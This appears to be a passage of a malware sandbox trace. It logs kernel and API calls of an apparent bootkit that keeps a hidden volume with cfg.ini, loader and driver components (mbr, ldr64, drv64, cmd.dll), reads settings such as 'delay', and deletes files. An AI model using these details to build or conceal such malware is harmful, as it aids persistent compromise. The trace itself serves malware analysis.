0xfffffa80034fca60 [0129.155] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c03a70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.155] KeLeaveCriticalRegion () [0129.155] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.155] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.155] KeEnterCriticalRegion () [0129.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.155] ExFreePoolWithTag (P=0xfffffa80037e1f60, Tag=0x0) [0129.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.155] KeLeaveCriticalRegion () [0129.155] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.155] ReleaseMutex (hMutex=0xf0) returned 1 [0129.155] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.155] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.155] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.155] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.155] KeEnterCriticalRegion () [0129.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.155] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.155] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.155] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.155] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.155] IdePortDispatch () returned 0x103 [0129.155] KeWaitForMutexObject () returned 0x0 [0129.156] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.156] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.156] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.156] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.156] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.156] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.156] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.156] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.156] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.156] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.156] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.156] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.156] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.156] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.156] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.156] KeLeaveCriticalRegion () [0129.156] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.156] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.156] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.156] KeEnterCriticalRegion () [0129.156] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.156] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.156] IdePortDispatch () returned 0x103 [0129.157] KeWaitForMutexObject () returned 0x0 [0129.157] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.157] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.157] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.157] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.157] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.157] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.157] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.157] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.157] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.157] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.157] KeLeaveCriticalRegion () [0129.157] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.157] ReleaseMutex (hMutex=0x100) returned 1 [0129.157] Sleep (dwMilliseconds=0x2bf20) [0129.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x702f90d0, dwHighDateTime=0x1d24fa4)) [0129.164] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.164] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.164] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.164] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.164] KeEnterCriticalRegion () [0129.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.164] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.164] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.165] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.165] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.165] IdePortDispatch () returned 0x103 [0129.165] KeWaitForMutexObject () returned 0x0 [0129.165] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.165] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.165] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.165] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.165] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.165] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02c70 [0129.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.165] KeLeaveCriticalRegion () [0129.165] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.165] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.165] KeEnterCriticalRegion () [0129.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.165] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.165] KeLeaveCriticalRegion () [0129.165] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.165] KeEnterCriticalRegion () [0129.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.165] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.165] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.165] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.165] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.165] IdePortDispatch () returned 0x103 [0129.165] KeWaitForMutexObject () returned 0x0 [0129.166] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.166] KeLeaveCriticalRegion () [0129.166] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.166] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.166] KeEnterCriticalRegion () [0129.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.166] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000baa000 [0129.166] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.166] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.166] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.166] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.166] IdePortDispatch () returned 0x103 [0129.166] KeWaitForMutexObject () returned 0x0 [0129.166] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.166] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.166] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.166] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.166] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.166] IdePortDispatch () returned 0x103 [0129.166] KeWaitForMutexObject () returned 0x0 [0129.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.166] KeLeaveCriticalRegion () [0129.166] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.167] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.167] KeEnterCriticalRegion () [0129.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.167] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.167] KeLeaveCriticalRegion () [0129.167] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.167] KeEnterCriticalRegion () [0129.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.167] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.167] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02d30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.167] KeLeaveCriticalRegion () [0129.167] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.167] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.167] KeEnterCriticalRegion () [0129.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.167] ExFreePoolWithTag (P=0xfffffa8003c02c70, Tag=0x0) [0129.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.167] KeLeaveCriticalRegion () [0129.167] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.167] ReleaseMutex (hMutex=0xf0) returned 1 [0129.167] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.167] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.168] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.168] KeEnterCriticalRegion () [0129.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.168] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.168] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.168] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.168] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.168] IdePortDispatch () returned 0x103 [0129.168] KeWaitForMutexObject () returned 0x0 [0129.168] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.168] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.168] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.168] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.168] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.168] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03390 [0129.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.168] KeLeaveCriticalRegion () [0129.168] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.168] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.168] KeEnterCriticalRegion () [0129.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.168] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.168] KeLeaveCriticalRegion () [0129.168] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.168] KeEnterCriticalRegion () [0129.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.168] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.168] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.168] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.168] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.168] IdePortDispatch () returned 0x103 [0129.169] KeWaitForMutexObject () returned 0x0 [0129.169] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.169] KeLeaveCriticalRegion () [0129.169] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.169] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.169] KeEnterCriticalRegion () [0129.169] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.169] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bab000 [0129.169] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.169] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.169] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.169] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.169] IdePortDispatch () returned 0x103 [0129.169] KeWaitForMutexObject () returned 0x0 [0129.169] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.169] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.169] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.169] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.169] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.169] IdePortDispatch () returned 0x103 [0129.169] KeWaitForMutexObject () returned 0x0 [0129.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.170] KeLeaveCriticalRegion () [0129.170] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.170] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.170] KeEnterCriticalRegion () [0129.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.170] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.170] KeLeaveCriticalRegion () [0129.170] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.170] KeEnterCriticalRegion () [0129.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.170] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.170] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c03450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.170] KeLeaveCriticalRegion () [0129.170] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.170] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.170] KeEnterCriticalRegion () [0129.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.170] ExFreePoolWithTag (P=0xfffffa8003c03390, Tag=0x0) [0129.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.170] KeLeaveCriticalRegion () [0129.170] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.171] ReleaseMutex (hMutex=0xf0) returned 1 [0129.171] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.171] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.171] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.171] KeEnterCriticalRegion () [0129.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.171] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.171] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.171] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.171] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.171] IdePortDispatch () returned 0x103 [0129.171] KeWaitForMutexObject () returned 0x0 [0129.171] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.171] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.171] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.171] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.171] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.171] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7c10 [0129.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.171] KeLeaveCriticalRegion () [0129.171] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.171] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.171] KeEnterCriticalRegion () [0129.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.171] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.171] KeLeaveCriticalRegion () [0129.171] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.171] KeEnterCriticalRegion () [0129.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.171] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.172] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.172] IdePortDispatch () returned 0x103 [0129.172] KeWaitForMutexObject () returned 0x0 [0129.172] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) 